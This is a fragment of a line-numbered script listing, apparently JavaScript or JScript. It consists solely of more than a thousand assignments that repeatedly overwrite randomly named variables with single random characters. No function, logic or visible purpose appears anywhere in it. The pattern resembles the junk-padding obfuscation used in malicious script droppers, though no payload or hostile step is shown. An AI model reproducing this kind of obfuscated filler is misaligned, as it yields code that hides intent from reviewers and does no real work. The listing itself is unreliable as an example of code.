234	shwfshhg = "W";
235	buwdc = "o";
236	buwdc = "i";
237	buwdc = "E";
238	buwdc = "H";
239	buwdc = "H";
240	buwdc = "w";
241	buwdc = "A";
242	buwdc = "X";
243	buwdc = "D";
244	buwdc = "O";
245	buwdc = "y";
246	buwdc = "6";
247	bkvxv = "O";
248	bkvxv = "J";
249	bkvxv = "Z";
250	bkvxv = "I";
251	bkvxv = "h";
252	bkvxv = "M";
253	bkvxv = "x";
254	bkvxv = "C";
255	bkvxv = "t";
256	bkvxv = "G";
257	bkvxv = "K";
258	bkvxv = "o";
259	bkvxv = "G";
260	bkvxv = "t";
261	bkvxv = "l";
262	bkvxv = "m";
263	bkvxv = "Q";
264	bkvxv = "H";
265	bkvxv = "l";
266	bkvxv = "Q";
267	bkvxv = "x";
268	bkvxv = "G";
269	bkvxv = "i";
270	bkvxv = "z";
271	bkvxv = "k";
272	bkvxv = "E";
273	bkvxv = "a";
274	bkvxv = "v";
275	bkvxv = "x";
276	bkvxv = "e";
277	bkvxv = "X";
278	bkvxv = "i";
279	bkvxv = "T";
280	bkvxv = "x";
281	bkvxv = "I";
282	bkvxv = "T";
283	bkvxv = "G";
284	bkvxv = "N";
285	bkvxv = "U";
286	bkvxv = "K";
287	bkvxv = "C";
288	bkvxv = "G";
289	bkvxv = "I";
290	bkvxv = "c";
291	bkvxv = "K";
292	banppyv = "c";
293	banppyv = "b";
294	banppyv = "i";
295	banppyv = "Y";
296	aivggaxtl = "m";
297	aivggaxtl = "M";
298	aivggaxtl = "I";
299	aivggaxtl = "Y";
300	aivggaxtl = "u";
301	aivggaxtl = "v";
302	aivggaxtl = "N";
303	aivggaxtl = "C";
304	aivggaxtl = "b";
305	aivggaxtl = "b";
306	aivggaxtl = "L";
307	aivggaxtl = "V";
308	aivggaxtl = "J";
309	aivggaxtl = "m";
310	aivggaxtl = "j";
311	aivggaxtl = "t";
312	aivggaxtl = "p";
313	aivggaxtl = "X";
314	aivggaxtl = "F";
315	aivggaxtl = "Y";
316	aivggaxtl = "g";
317	aivggaxtl = "O";
318	aivggaxtl = "E";
319	aivggaxtl = "Y";
320	aivggaxtl = "W";
321	aivggaxtl = "A";
322	aivggaxtl = "K";
323	aivggaxtl = "k";
324	aivggaxtl = "S";
325	aivggaxtl = "F";
326	aivggaxtl = "f";
327	aivggaxtl = "K";
328	aivggaxtl = "I";
329	aivggaxtl = "k";
330	aivggaxtl = "J";
331	aivggaxtl = "l";
332	aivggaxtl = "R";
333	aivggaxtl = "Z";
334	aivggaxtl = "C";
335	aivggaxtl = "i";
336	pvvtixxja = "a";
337	pvvtixxja = "P";
338	pvvtixxja = "a";
339	pvvtixxja = "w";
340	pvvtixxja = "K";
341	pvvtixxja = "i";
342	pvvtixxja = "i";
343	pvvtixxja = "X";
344	pvvtixxja = "E";
345	pvvtixxja = "d";
346	pvvtixxja = "x";
347	pvvtixxja = "m";
348	pvvtixxja = "r";
349	pvvtixxja = "I";
350	pvvtixxja = "d";
351	pvvtixxja = "T";
352	pvvtixxja = "Z";
353	pvvtixxja = "g";
354	pvvtixxja = "P";
355	pvvtixxja = "C";
356	pvvtixxja = "b";
357	pvvtixxja = "p";
358	pvvtixxja = "x";
359	pvvtixxja = "R";
360	pvvtixxja = "c";
361	pvvtixxja = "X";
362	pvvtixxja = "Z";
363	pvvtixxja = "L";
364	mutcf = "r";
365	mutcf = "J";
366	mutcf = "f";
367	mutcf = "r";
368	mutcf = "g";
369	mutcf = "K";
370	mutcf = "E";
371	mutcf = "F";
372	mutcf = "N";
373	mutcf = "f";
374	mutcf = "V";
375	mutcf = "X";
376	mutcf = "L";
377	mutcf = "F";
378	mutcf = "m";
379	mutcf = "D";
380	mutcf = "F";
381	mutcf = "t";
382	mutcf = "U";
383	mutcf = "c";
384	mutcf = "z";
385	mutcf = "L";
386	mutcf = "k";
387	mutcf = "H";
388	mutcf = "C";
389	mutcf = "i";
390	mutcf = "o";
391	mutcf = "D";
392	mutcf = "D";
393	mutcf = "X";
394	mutcf = "/";
395	vkmrd = "m";
396	vkmrd = "B";
397	vkmrd = "t";
398	vkmrd = "t";
399	vkmrd = "X";
400	vkmrd = "H";
401	vkmrd = "C";
402	vkmrd = "g";
403	vkmrd = "O";
404	vkmrd = "X";
405	vkmrd = "i";
406	vkmrd = "j";
407	vkmrd = "K";
408	vkmrd = "y";
409	vkmrd = "a";
410	vkmrd = "h";
411	vkmrd = "q";
412	vkmrd = "k";
413	vkmrd = "G";
414	vkmrd = "f";
415	vkmrd = "r";
416	vkmrd = "a";
417	vkmrd = "U";
418	vkmrd = "G";
419	vkmrd = "y";
420	vkmrd = "X";
421	vkmrd = "t";
422	vkmrd = "a";
423	vkmrd = "p";
424	vkmrd = "M";
425	vkmrd = "Y";
426	vkmrd = "s";
427	vkmrd = "z";
428	vkmrd = "l";
429	vkmrd = "w";
430	vkmrd = "C";
431	vkmrd = "u";
432	vkmrd = "k";
433	vkmrd = "u";
434	vkmrd = "E";
435	zzdvz = "H";
436	zzdvz = "p";
437	zzdvz = "U";
438	zzdvz = "Y";
439	zzdvz = "w";
440	zzdvz = "c";
441	zzdvz = "J";
442	zzdvz = "k";
443	zzdvz = "R";
444	zzdvz = "r";
445	zzdvz = "L";
446	zzdvz = "z";
447	zzdvz = "d";
448	zzdvz = "P";
449	zzdvz = "H";
450	zzdvz = "c";
451	zzdvz = "b";
452	zzdvz = "u";
453	zzdvz = "x";
454	zzdvz = "j";
455	zzdvz = "B";
456	zzdvz = "U";
457	zzdvz = "C";
458	zzdvz = "x";
459	zzdvz = "r";
460	zzdvz = "H";
461	zzdvz = "w";
462	zzdvz = "L";
463	zzdvz = "N";
464	zzdvz = "s";
465	zzdvz = "d";
466	zzdvz = "s";
467	yvgts = "Y";
468	yvgts = "K";
469	yvgts = "l";
470	yvgts = "Y";
471	yvgts = "A";
472	yvgts = "k";
473	yvgts = "k";
474	yvgts = "C";
475	yvgts = "G";
476	yvgts = "v";
477	yvgts = "A";
478	yvgts = "k";
479	yvgts = "Q";
480	yvgts = "d";
481	yvgts = "h";
482	yvgts = "C";
483	yvgts = "k";
484	yvgts = "x";
485	yvgts = "g";
486	yvgts = "B";
487	yvgts = "h";
488	yvgts = "M";
489	yvgts = "T";
490	yvgts = "T";
491	yvgts = "l";
492	yvgts = "B";
493	yvgts = "n";
494	yvgts = "b";
495	yvgts = "e";
496	yvgts = "X";
497	yvgts = "Z";
498	yvgts = "f";
499	yvgts = "H";
500	yvgts = "S";
501	yvgts = "j";
502	yvgts = "P";
503	yvgts = "P";
504	yvgts = "q";
505	yvgts = "V";
506	yvgts = "S";
507	qbaoy = "J";
508	qbaoy = "h";
509	qbaoy = "S";
510	qbaoy = "W";
511	qbaoy = "u";
512	qbaoy = "T";
513	hgerj = "X";
514	hgerj = "X";
515	hgerj = "q";
516	hgerj = "f";
517	hgerj = "a";
518	hgerj = "S";
519	hgerj = "G";
520	hgerj = "W";
521	hgerj = "T";
522	hgerj = "p";
523	hgerj = "n";
524	hgerj = "W";
525	hgerj = "C";
526	hgerj = "R";
527	hgerj = "G";
528	hgerj = "f";
529	hgerj = "B";
530	hgerj = "L";
531	hgerj = "p";
532	hgerj = "h";
533	hgerj = "g";
534	hgerj = "g";
535	hgerj = "w";
536	hgerj = "Y";
537	hgerj = "m";
538	hgerj = "U";
539	hgerj = "U";
540	hgerj = "w";
541	hgerj = "X";
542	hgerj = "B";
543	hgerj = "l";
544	hgerj = "O";
545	hgerj = "f";
546	hgerj = "W";
547	hgerj = "Q";
548	hgerj = "Y";
549	hgerj = "U";
550	hgerj = "F";
551	kvibc = "N";
552	kvibc = "M";
553	kvibc = "u";
554	kvibc = "r";
555	kvibc = "a";
556	kvibc = "P";
557	kvibc = "Y";
558	kvibc = "a";
559	kvibc = "u";
560	kvibc = "G";
561	kvibc = "l";
562	kvibc = "B";
563	kvibc = "h";
564	kvibc = "n";
565	kvibc = "o";
566	kvibc = "z";
567	kvibc = "K";
568	kvibc = "k";
569	kvibc = "C";
570	kvibc = "U";
571	kvibc = "i";
572	kvibc = "y";
573	kvibc = "g";
574	kvibc = "L";
575	kvibc = "f";
576	kvibc = "r";
577	kvibc = "y";
578	kvibc = "Z";
579	kvibc = "u";
580	kvibc = "g";
581	kvibc = "n";
582	kvibc = "t";
583	kvibc = "f";
584	kvibc = "f";
585	kvibc = "P";
586	kvibc = "u";
587	kvibc = "C";
588	kvibc = "C";
589	kvibc = "g";
590	kvibc = "Q";
591	kvibc = "s";
592	kvibc = "x";
593	czpjb = "T";
594	czpjb = "Q";
595	czpjb = "s";
596	czpjb = "j";
597	czpjb = "D";
598	czpjb = "l";
599	czpjb = "G";
600	czpjb = "O";
601	czpjb = "C";
602	czpjb = "j";
603	czpjb = "y";
604	czpjb = "t";
605	czpjb = "V";
606	czpjb = "k";
607	czpjb = "x";
608	czpjb = "l";
609	czpjb = "p";
610	czpjb = "V";
611	czpjb = "e";
612	czpjb = "y";
613	czpjb = "H";
614	czpjb = "o";
615	czpjb = "W";
616	czpjb = "H";
617	czpjb = "j";
618	czpjb = "J";
619	czpjb = "o";
620	czpjb = "B";
621	czpjb = "z";
622	czpjb = "D";
623	czpjb = "d";
624	czpjb = "W";
625	czpjb = "R";
626	czpjb = "Y";
627	czpjb = "c";
628	czpjb = "T";
629	czpjb = "R";
630	czpjb = "G";
631	czpjb = "a";
632	czpjb = "u";
633	czpjb = "E";
634	czpjb = "d";
635	czpjb = "W";
636	czpjb = "N";
637	twzncilm = "W";
638	twzncilm = "P";
639	twzncilm = "O";
640	twzncilm = "g";
641	twzncilm = "y";
642	twzncilm = "b";
643	twzncilm = "w";
644	twzncilm = "f";
645	twzncilm = "E";
646	twzncilm = "x";
647	twzncilm = "A";
648	twzncilm = "Y";
649	twzncilm = "V";
650	twzncilm = "T";
651	twzncilm = "O";
652	twzncilm = "Y";
653	twzncilm = "O";
654	twzncilm = "f";
655	twzncilm = "U";
656	twzncilm = "U";
657	twzncilm = "G";
658	twzncilm = "d";
659	twzncilm = "T";
660	twzncilm = "c";
661	twzncilm = "Z";
662	twzncilm = "M";
663	twzncilm = "m";
664	twzncilm = "r";
665	twzncilm = "u";
666	twzncilm = "f";
667	twzncilm = "X";
668	twzncilm = "H";
669	twzncilm = "A";
670	twzncilm = "v";
671	twzncilm = "X";
672	twzncilm = "e";
673	twzncilm = "x";
674	twzncilm = "B";
675	twzncilm = "M";
676	twzncilm = "g";
677	wwcfii = "m";
678	wwcfii = "h";
679	wwcfii = "s";
680	wwcfii = "X";
681	wwcfii = "g";
682	wwcfii = "J";
683	wwcfii = "q";
684	wwcfii = "R";
685	wwcfii = "y";
686	wwcfii = "D";
687	wwcfii = "q";
688	wwcfii = "m";
689	wwcfii = "q";
690	wwcfii = "V";
691	wwcfii = "u";
692	wwcfii = "D";
693	wwcfii = "r";
694	wwcfii = "q";
695	wwcfii = "i";
696	wwcfii = "a";
697	bpamkqzr = "q";
698	bpamkqzr = "x";
699	bpamkqzr = "f";
700	bpamkqzr = "Y";
701	bpamkqzr = "F";
702	bpamkqzr = "J";
703	bpamkqzr = "c";
704	bpamkqzr = "G";
705	bpamkqzr = "A";
706	bpamkqzr = "\\";
707	rgaep = "S";
708	rgaep = "E";
709	rgaep = "T";
710	rgaep = "A";
711	rgaep = "H";
712	rgaep = "Z";
713	rgaep = "U";
714	rgaep = "K";
715	rgaep = "F";
716	rgaep = "n";
717	rgaep = "x";
718	rgaep = "H";
719	rgaep = "H";
720	rgaep = "P";
721	rgaep = "o";
722	rgaep = "p";
723	rgaep = "M";
724	rgaep = "t";
725	rgaep = "W";
726	rgaep = "m";
727	rgaep = "m";
728	rgaep = "y";
729	rgaep = "X";
730	rgaep = "L";
731	rgaep = "1";
732	yanoec = "A";
733	yanoec = "u";
734	yanoec = "Z";
735	yanoec = "J";
736	yanoec = "i";
737	yanoec = "o";
738	yanoec = "z";
739	yanoec = "F";
740	yanoec = "x";
741	yanoec = "F";
742	yanoec = "\"";
743	vhomtva = "f";
744	vhomtva = "m";
745	vhomtva = "F";
746	vhomtva = "z";
747	vhomtva = "M";
748	vhomtva = "H";
749	vhomtva = "o";
750	vhomtva = "R";
751	vhomtva = "I";
752	vhomtva = "s";
753	vhomtva = "J";
754	vhomtva = "U";
755	vhomtva = "t";
756	vhomtva = "H";
757	vhomtva = "u";
758	vhomtva = "I";
759	vhomtva = "N";
760	vhomtva = "R";
761	vhomtva = "Q";
762	vhomtva = "a";
763	vhomtva = "Y";
764	vhomtva = "q";
765	vhomtva = "s";
766	vhomtva = "r";
767	vhomtva = "r";
768	vhomtva = "E";
769	vhomtva = "N";
770	vhomtva = "q";
771	vhomtva = "S";
772	vhomtva = "t";
773	vhomtva = "J";
774	vhomtva = "r";
775	vhomtva = "U";
776	vhomtva = "w";
777	vhomtva = "J";
778	vhomtva = "k";
779	vhomtva = "u";
780	vhomtva = "T";
781	vhomtva = "k";
782	pesvkkvah = "Q";
783	pesvkkvah = "C";
784	pesvkkvah = "i";
785	pesvkkvah = "C";
786	pesvkkvah = "F";
787	pesvkkvah = "T";
788	pesvkkvah = "g";
789	pesvkkvah = "i";
790	pesvkkvah = "x";
791	pesvkkvah = "n";
792	pesvkkvah = "M";
793	pesvkkvah = "J";
794	pesvkkvah = "B";
795	pesvkkvah = "I";
796	pesvkkvah = "N";
797	pesvkkvah = "V";
798	pesvkkvah = "n";
799	pesvkkvah = "v";
800	pesvkkvah = "D";
801	pesvkkvah = "H";
802	pesvkkvah = "c";
803	pesvkkvah = "n";
804	pesvkkvah = "B";
805	pesvkkvah = "t";
806	pesvkkvah = "A";
807	pesvkkvah = "q";
808	pesvkkvah = "k";
809	pesvkkvah = "z";
810	pesvkkvah = "q";
811	pesvkkvah = "t";
812	pesvkkvah = "K";
813	pesvkkvah = "Z";
814	pesvkkvah = "z";
815	pesvkkvah = "Q";
816	pesvkkvah = "B";
817	pesvkkvah = "A";
818	pesvkkvah = "S";
819	pesvkkvah = "9";
820	ofvotk = "r";
821	ofvotk = "a";
822	ofvotk = "i";
823	ofvotk = "Q";
824	ofvotk = "U";
825	ofvotk = "B";
826	ofvotk = "J";
827	ofvotk = "d";
828	ofvotk = "v";
829	ofvotk = "V";
830	ofvotk = "Y";
831	ofvotk = "T";
832	ofvotk = "k";
833	ofvotk = "K";
834	ofvotk = "j";
835	ofvotk = "z";
836	ofvotk = "y";
837	ofvotk = "O";
838	ofvotk = "V";
839	ofvotk = "z";
840	ofvotk = "f";
841	ofvotk = "R";
842	ofvotk = "w";
843	ofvotk = "b";
844	edrkjh = "m";
845	edrkjh = "X";
846	edrkjh = "u";
847	edrkjh = "Y";
848	edrkjh = "q";
849	edrkjh = "K";
850	edrkjh = "N";
851	edrkjh = "k";
852	edrkjh = "O";
853	edrkjh = "A";
854	edrkjh = "T";
855	edrkjh = "W";
856	edrkjh = "c";
857	edrkjh = "m";
858	edrkjh = "K";
859	edrkjh = "x";
860	edrkjh = "M";
861	edrkjh = "g";
862	edrkjh = "L";
863	edrkjh = "m";
864	edrkjh = "K";
865	edrkjh = "y";
866	edrkjh = "a";
867	edrkjh = "r";
868	edrkjh = "o";
869	edrkjh = "g";
870	edrkjh = "f";
871	edrkjh = "W";
872	edrkjh = "s";
873	edrkjh = "u";
874	edrkjh = "d";
875	edrkjh = "t";
876	edrkjh = "i";
877	edrkjh = "m";
878	edrkjh = "s";
879	edrkjh = "d";
880	gnqaz = "U";
881	gnqaz = "p";
882	gnqaz = "h";
883	gnqaz = "n";
884	gnqaz = "M";
885	gnqaz = "F";
886	gnqaz = "f";
887	gnqaz = "s";
888	gnqaz = "w";
889	gnqaz = "t";
890	gnqaz = "Z";
891	gnqaz = "K";
892	gnqaz = "m";
893	gnqaz = "V";
894	gnqaz = "i";
895	gnqaz = "x";
896	gnqaz = "U";
897	gnqaz = "F";
898	gnqaz = "j";
899	gnqaz = "h";
900	gnqaz = "a";
901	gnqaz = "s";
902	gnqaz = "Q";
903	gnqaz = "l";
904	gnqaz = "z";
905	gnqaz = "i";
906	gnqaz = "Y";
907	gnqaz = "S";
908	gnqaz = "l";
909	gnqaz = "t";
910	gnqaz = "L";
911	gnqaz = "k";
912	gnqaz = "V";
913	gnqaz = "l";
914	goirvd = "A";
915	goirvd = "R";
916	maajhnmni = "w";
917	maajhnmni = "H";
918	maajhnmni = "R";
919	maajhnmni = "O";
920	maajhnmni = "c";
921	maajhnmni = "a";
922	maajhnmni = "y";
923	maajhnmni = "L";
924	maajhnmni = "A";
925	maajhnmni = "G";
926	maajhnmni = "z";
927	maajhnmni = "y";
928	maajhnmni = "Q";
929	maajhnmni = "A";
930	maajhnmni = "P";
931	maajhnmni = "d";
932	maajhnmni = "K";
933	maajhnmni = "f";
934	maajhnmni = "Q";
935	maajhnmni = "N";
936	maajhnmni = "C";
937	pwfhzk = "Q";
938	pwfhzk = "E";
939	pwfhzk = "Z";
940	pwfhzk = "N";
941	pwfhzk = "y";
942	pwfhzk = "s";
943	pwfhzk = "V";
944	pwfhzk = "X";
945	pwfhzk = "h";
946	pwfhzk = "O";
947	pwfhzk = "n";
948	pwfhzk = "U";
949	pwfhzk = "H";
950	jqghwqwt = "V";
951	jqghwqwt = "D";
952	jqghwqwt = "g";
953	jqghwqwt = "p";
954	jqghwqwt = "M";
955	jqghwqwt = "f";
956	jjmuhb = "D";
957	jjmuhb = "y";
958	jjmuhb = "G";
959	jjmuhb = "f";
960	jjmuhb = "r";
961	jjmuhb = "M";
962	jjmuhb = "T";
963	jjmuhb = "h";
964	jjmuhb = "V";
965	jjmuhb = "X";
966	jjmuhb = "D";
967	jjmuhb = "q";
968	jjmuhb = "N";
969	jjmuhb = "J";
970	jjmuhb = "i";
971	jjmuhb = "O";
972	jjmuhb = "D";
973	jjmuhb = "M";
974	jjmuhb = "m";
975	jjmuhb = "m";
976	jjmuhb = "I";
977	tlizvf = "n";
978	tlizvf = "i";
979	tlizvf = "T";
980	tlizvf = "Q";
981	tlizvf = "J";
982	tlizvf = "V";
983	tlizvf = "n";
984	tlizvf = "C";
985	tlizvf = "r";
986	tlizvf = "d";
987	tlizvf = "M";
988	tlizvf = "f";
989	tlizvf = "N";
990	tlizvf = "c";
991	tlizvf = "c";
992	tlizvf = "K";
993	tlizvf = "x";
994	tlizvf = "n";
995	tlizvf = "B";
996	tlizvf = "g";
997	tlizvf = "o";
998	tlizvf = "r";
999	tlizvf = "f";
1000	tlizvf = "g";
1001	tlizvf = "L";
1002	tlizvf = "M";
1003	tlizvf = "S";
1004	tlizvf = "L";
1005	tlizvf = "G";
1006	tlizvf = "h";
1007	weifcbaq = "T";
1008	weifcbaq = "Q";
1009	weifcbaq = "f";
1010	weifcbaq = "m";
1011	weifcbaq = "n";
1012	weifcbaq = "K";
1013	weifcbaq = "X";
1014	weifcbaq = "W";
1015	weifcbaq = "y";
1016	weifcbaq = "V";
1017	weifcbaq = "S";
1018	weifcbaq = "g";
1019	weifcbaq = "x";
1020	weifcbaq = "Y";
1021	weifcbaq = "j";
1022	weifcbaq = "l";
1023	weifcbaq = "O";
1024	weifcbaq = "z";
1025	weifcbaq = "S";
1026	weifcbaq = "a";
1027	weifcbaq = "t";
1028	weifcbaq = "G";
1029	weifcbaq = "u";
1030	weifcbaq = "M";
1031	weifcbaq = "y";
1032	weifcbaq = "X";
1033	weifcbaq = "f";
1034	weifcbaq = "g";
1035	weifcbaq = "I";
1036	weifcbaq = "E";
1037	weifcbaq = "Y";
1038	weifcbaq = "j";
1039	weifcbaq = "f";
1040	weifcbaq = "D";
1041	weifcbaq = "-";
1042	mrefqvt = "r";
1043	mrefqvt = "I";
1044	mrefqvt = "T";
1045	mrefqvt = "I";
1046	mrefqvt = "J";
1047	mrefqvt = "Y";
1048	mrefqvt = "A";
1049	mrefqvt = "J";
1050	mrefqvt = "P";
1051	mrefqvt = "U";
1052	mrefqvt = "j";
1053	mrefqvt = "Q";
1054	mrefqvt = "b";
1055	mrefqvt = "N";
1056	mrefqvt = "t";
1057	mrefqvt = "i";
1058	mrefqvt = "I";
1059	mrefqvt = "u";
1060	mrefqvt = ":";
1061	qqvwmutp = "B";
1062	qqvwmutp = "S";
1063	qqvwmutp = "o";
1064	qqvwmutp = "C";
1065	qqvwmutp = "I";
1066	qqvwmutp = "Z";
1067	qqvwmutp = "C";
1068	qqvwmutp = "M";
1069	qqvwmutp = "T";
1070	qqvwmutp = "G";
1071	qqvwmutp = "B";
1072	qqvwmutp = "b";
1073	qqvwmutp = "P";
1074	qqvwmutp = "n";
1075	qqvwmutp = "Q";
1076	qqvwmutp = "a";
1077	qqvwmutp = "j";
1078	qqvwmutp = "u";
1079	qqvwmutp = "_";
1080	dpixxt = "C";
1081	dpixxt = "M";
1082	dpixxt = "o";
1083	dpixxt = "I";
1084	dpixxt = "w";
1085	dpixxt = "U";
1086	dpixxt = "z";
1087	dpixxt = "j";
1088	dpixxt = "c";
1089	dpixxt = "x";
1090	dpixxt = "F";
1091	dpixxt = "f";
1092	dpixxt = "z";
1093	dpixxt = "Z";
1094	dpixxt = "e";
1095	dpixxt = "d";
1096	dpixxt = "b";
1097	dpixxt = "I";
1098	dpixxt = "o";
1099	dpixxt = "g";
1100	dpixxt = "m";
1101	dpixxt = "X";
1102	dpixxt = "O";
1103	dpixxt = "q";
1104	dpixxt = "i";
1105	dpixxt = "m";
1106	dpixxt = "B";
1107	dpixxt = "X";
1108	dpixxt = "I";
1109	dpixxt = "G";
1110	dpixxt = "u";
1111	dpixxt = "s";
1112	dpixxt = "s";
1113	dpixxt = "A";
1114	dpixxt = "J";
1115	dpixxt = "G";
1116	dpixxt = "X";
1117	dpixxt = "f";
1118	dpixxt = "G";
1119	dpixxt = "v";
1120	fwzvm = "T";
1121	fwzvm = "i";
1122	fwzvm = "v";
1123	fwzvm = "n";
1124	fwzvm = "G";
1125	fwzvm = "h";
1126	fwzvm = "S";
1127	fwzvm = "u";
1128	fwzvm = "B";
1129	fwzvm = "z";
1130	fwzvm = "A";
1131	fwzvm = "g";
1132	fwzvm = "i";
1133	fwzvm = "o";
1134	fwzvm = "y";
1135	fwzvm = "b";
1136	fwzvm = "b";
1137	fwzvm = "W";
1138	fwzvm = "b";
1139	fwzvm = "n";
1140	fwzvm = "N";
1141	fwzvm = "C";
1142	fwzvm = "q";
1143	fwzvm = "w";
1144	fwzvm = "&";
1145	xaifcgewr = "X";
1146	xaifcgewr = "m";
1147	xaifcgewr = "x";
1148	xaifcgewr = "b";
1149	xaifcgewr = "H";
1150	xaifcgewr = "O";
1151	xaifcgewr = "D";
1152	xaifcgewr = "m";
1153	xaifcgewr = "M";
1154	xaifcgewr = "r";
1155	xaifcgewr = "w";
1156	xaifcgewr = "T";
1157	xaifcgewr = "y";
1158	xaifcgewr = "p";
1159	xaifcgewr = "F";
1160	xaifcgewr = "g";
1161	xaifcgewr = "S";
1162	xaifcgewr = "A";
1163	xaifcgewr = "L";
1164	xaifcgewr = "W";
1165	xaifcgewr = "T";
1166	xaifcgewr = "U";
1167	rfkry = "M";
1168	rfkry = "p";
1169	rfkry = "z";
1170	rfkry = "V";
1171	rfkry = "x";
1172	rfkry = "Q";
1173	rfkry = "R";
1174	rfkry = "u";
1175	rfkry = "R";
1176	rfkry = "n";
1177	vxayd = "I";
1178	vxayd = "L";
1179	vxayd = "D";
1180	vxayd = "J";
1181	vxayd = "j";
1182	vxayd = "k";
1183	vxayd = "x";
1184	vxayd = "v";
1185	vxayd = "w";
1186	vxayd = "P";
1187	vxayd = "N";
1188	vxayd = "G";
1189	vxayd = "r";
1190	vxayd = "h";
1191	vxayd = "K";
1192	vxayd = "y";
1193	vxayd = "Y";
1194	vxayd = "K";
1195	vxayd = "L";
1196	vxayd = "c";
1197	vxayd = "p";
1198	vxayd = "C";
1199	vxayd = "P";
1200	vxayd = "v";
1201	vxayd = "A";
1202	vxayd = "Y";
1203	vxayd = "h";
1204	vxayd = "J";
1205	vxayd = "s";
1206	vxayd = "c";
1207	vxayd = "z";
1208	vxayd = "N";
1209	vxayd = "P";
1210	vxayd = "G";
1211	vxayd = "s";
1212	vxayd = "U";
1213	vxayd = "M";
1214	vxayd = "u";
1215	vxayd = "m";
1216	vxayd = "D";
1217	vxayd = "m";
1218	wahtxj = "h";
1219	wahtxj = "r";
1220	wahtxj = "b";
1221	wahtxj = "v";
1222	wahtxj = "v";
1223	wahtxj = "B";
1224	wahtxj = "c";
1225	wahtxj = "c";
1226	wahtxj = "s";
1227	wahtxj = "p";
1228	wahtxj = "m";
1229	wahtxj = "g";
1230	wahtxj = "z";
1231	wahtxj = "A";
1232	wahtxj = "e";
1233	wahtxj = "D";
1234	wahtxj = "W";
1235	wahtxj = "z";
1236	wahtxj = "V";
1237	wahtxj = "L";
1238	wahtxj = "A";
1239	wahtxj = "R";
1240	wahtxj = "S";
1241	wahtxj = "Q";
1242	wahtxj = "B";
1243	wahtxj = "v";
1244	wahtxj = "G";
1245	wahtxj = "c";
1246	wahtxj = "x";
1247	wahtxj = "z";
1248	wahtxj = "h";
1249	wahtxj = "L";
1250	wahtxj = "Q";
1251	wahtxj = "U";
1252	wahtxj = " ";
1253	cocphtyw = "n";
1254	cocphtyw = "m";
1255	cocphtyw = "R";
1256	cocphtyw = "c";
1257	cocphtyw = "C";
1258	cocphtyw = "t";
1259	cocphtyw = "y";
1260	cocphtyw = "U";
1261	cocphtyw = "S";
1262	cocphtyw = "S";
1263	cocphtyw = "Q";
1264	cocphtyw = "t";
1265	cocphtyw = "k";
1266	cocphtyw = "o";
1267	cocphtyw = "x";
1268	cocphtyw = "B";
1269	cocphtyw = "W";
1270	cocphtyw = "O";
1271	cocphtyw = "H";
1272	cocphtyw = "R";
1273	cocphtyw = "n";
1274	cocphtyw = "T";
1275	cocphtyw = "a";
1276	cocphtyw = "N";
1277	cocphtyw = "q";
1278	cocphtyw = "Y";
1279	cocphtyw = "I";
1280	cocphtyw = "r";
1281	cocphtyw = "A";
1282	cocphtyw = "j";
1283	cocphtyw = "R";
1284	cocphtyw = "v";
1285	cocphtyw = "I";
1286	cocphtyw = "F";
1287	cocphtyw = "M";
1288	cocphtyw = "w";
1289	cocphtyw = "H";
1290	cocphtyw = "j";
1291	cocphtyw = "Z";
1292	cocphtyw = "U";
1293	cocphtyw = "E";
1294	cocphtyw = "P";
1295	szapiq = "j";
1296	kbzacxxr = "W";
1297	kbzacxxr = "j";
1298	kbzacxxr = "d";
1299	kbzacxxr = "o";
1300	kbzacxxr = "o";
1301	kbzacxxr = "r";
1302	kbzacxxr = "Y";
1303	kbzacxxr = "o";
1304	kbzacxxr = "r";
1305	kbzacxxr = "w";
1306	kbzacxxr = "v";
1307	kbzacxxr = "w";
1308	kbzacxxr = "m";
1309	kbzacxxr = "E";
1310	kbzacxxr = "y";
1311	kbzacxxr = "w";
1312	kbzacxxr = "J";
1313	kbzacxxr = "D";
1314	kbzacxxr = "Y";
1315	kbzacxxr = "P";
1316	kbzacxxr = "x";
1317	kbzacxxr = "j";
1318	kbzacxxr = "G";
1319	kbzacxxr = "b";
1320	kbzacxxr = "h";
1321	kbzacxxr = "I";
1322	kbzacxxr = "P";
1323	kbzacxxr = "N";
1324	kbzacxxr = "W";
1325	kbzacxxr = "M";
1326	kbzacxxr = "D";
1327	kbzacxxr = "c";
1328	kbzacxxr = "S";
1329	kbzacxxr = "p";
1330	vxnpkzw = "E";
1331	vxnpkzw = "Q";
1332	vxnpkzw = "n";
1333	vxnpkzw = "u";
1334	vxnpkzw = "V";
1335	vxnpkzw = "k";
1336	vxnpkzw = "s";
1337	vxnpkzw = "V";
1338	vxnpkzw = "F";
1339	vxnpkzw = "w";
1340	fefsd = "h";
1341	fefsd = "k";
1342	fefsd = "U";
1343	fefsd = "k";
1344	fefsd = "p";
1345	fefsd = "X";
1346	fefsd = "h";
1347	fefsd = "E";
1348	fefsd = "U";
1349	fefsd = "W";
1350	fefsd = "X";
1351	fefsd = "f";
1352	fefsd = "A";
1353	fefsd = "S";
1354	fefsd = "m";
1355	fefsd = "S";
1356	fefsd = "e";
1357	fefsd = "Q";
1358	fefsd = "f";
1359	fefsd = "d";
1360	fefsd = "r";
1361	fefsd = "E";
1362	fefsd = "n";
1363	fefsd = "C";
1364	fefsd = "c";
1365	uoimpu = "j";
1366	uoimpu = "D";
1367	uoimpu = "E";
1368	uoimpu = "E";
1369	uoimpu = "e";
1370	uoimpu = "U";
1371	uoimpu = "e";
1372	qicarpq = "k";
1373	qicarpq = "f";
1374	qicarpq = "P";
1375	qicarpq = "E";
1376	qicarpq = "l";
1377	qicarpq = "o";
1378	qicarpq = "d";
1379	qicarpq = "a";
1380	qicarpq = "r";
1381	qicarpq = "Q";
1382	qicarpq = "N";
1383	qicarpq = "c";
1384	qicarpq = "M";
1385	qicarpq = "a";
1386	qicarpq = "I";
1387	qicarpq = "u";
1388	qicarpq = "G";
1389	qicarpq = "s";
1390	qicarpq = "p";
1391	qicarpq = "F";
1392	qicarpq = "y";
1393	qicarpq = "t";
1394	qicarpq = "g";
1395	qicarpq = "W";
1396	qicarpq = "@";
1397	iyuibwvu = "v";
1398	iyuibwvu = "f";
1399	iyuibwvu = "b";
1400	iyuibwvu = "k";
1401	iyuibwvu = "p";
1402	iyuibwvu = "f";
1403	iyuibwvu = "f";
1404	iyuibwvu = "z";
1405	iyuibwvu = "e";
1406	iyuibwvu = "E";
1407	iyuibwvu = "T";
1408	iyuibwvu = "o";
1409	iyuibwvu = "p";
1410	iyuibwvu = "H";
1411	iyuibwvu = "l";
1412	iyuibwvu = "f";
1413	iyuibwvu = "h";
1414	iyuibwvu = "f";
1415	iyuibwvu = "u";
1416	iyuibwvu = "2";
1417	yaslelwqh = "p";
1418	yaslelwqh = "l";
